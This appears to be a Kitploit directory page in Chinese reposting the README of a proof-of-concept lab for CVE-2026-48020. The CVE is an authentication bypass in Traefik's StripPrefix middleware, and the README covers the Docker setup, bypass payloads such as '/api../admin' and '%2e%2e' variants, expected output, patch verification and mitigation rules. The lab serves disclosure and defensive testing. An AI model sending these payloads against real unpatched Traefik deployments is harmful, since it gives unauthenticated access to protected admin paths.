Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — 针对 CVE-2026-48020 的概念验证实验环境,通过路径规范化演示 Traefik 的 StripPrefix 中间件中的一个严重认证绕过漏洞。包含基于 Docker 的复现环境和验证脚本。 | Kitploit
工具/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

针对 CVE-2026-48020 的概念验证实验环境,通过路径规范化演示 Traefik 的 StripPrefix 中间件中的一个严重认证绕过漏洞。包含基于 Docker 的复现环境和验证脚本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
2个月前尚未审核
分享

CVE-2026-48020 — Traefik StripPrefix 路由级认证绕过(PoC)

一个独立的对于 CVE-2026-48020 的概念验证,该漏洞是 Traefik 的 StripPrefix 中间件中的路由级认证/授权绕过,由于路由决策做出 之后 才进行路径规范化。

形如 GET /api../admin 的请求在路由时通过一个公开的 PathPrefix(/api`)路由器(因此受保护路由器的basicAuth中间件从未附加),但在StripPrefix剥离/api且 Go 的req.URL.JoinPath()规范化剩余的/../admin后,后端收到的路径是/admin` —— 一个本应被保护的路径。

CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 严重 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
受影响版本Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1
修复版本v2.11.48, v3.6.19, v3.7.3

实验布局

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← 无凭据
   ▼
Traefik :18080   ──路由──▶  public-api 路由器 (PathPrefix /api)  + StripPrefix
                   (跳过)   protected 路由器  (PathPrefix /admin) + basicAuth
   │  在 StripPrefix("/api") 之后:  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

文件

文件用途
docker-compose.yml启动一个存在漏洞的 Traefik(v3.7.1)和一个 Python 后端
dynamic.ymlTraefik 动态配置:一个公开的 /api strip 路由和一个受保护的、位于 basicAuth 后的 /admin、/internal 路由
backend.py一个微型后端,为受保护路径返回一个秘密
poc.py发送绕过 payload 并报告哪些路径被访问

复现

root@kitploit:~
docker compose up -d --wait          # 启动 Traefik v3.7.1 + 后端
python3 poc.py                        # 运行绕过检查

在存在漏洞的 Traefik 上的预期输出

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

在已修补的 Traefik (v3.7.3) 上

绕过 payload 返回 404 而非 200。该修补(Traefik PR #13215)会拒绝任何在 StripPrefix/StripPrefixRegex 规范化后路径发生变化的请求,因此 /../admin 重写会被检测并拒绝。

验证修复

root@kitploit:~
# 将 docker-compose.yml 中的镜像标签改为已修复版本,例如:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # 绕过 payload 现在返回 404 -> "未观察到绕过"

缓解措施(无需升级)

阻止公共路由匹配遍历形式:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

披露

由 WonYun / kyun0(GitHub: H4ck2)向 Traefik 维护者报告;已在 GHSA-xf64-8mw2-4gr2 中修复。此 PoC 实验是根据配套文章独立复现的:https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/

下载工具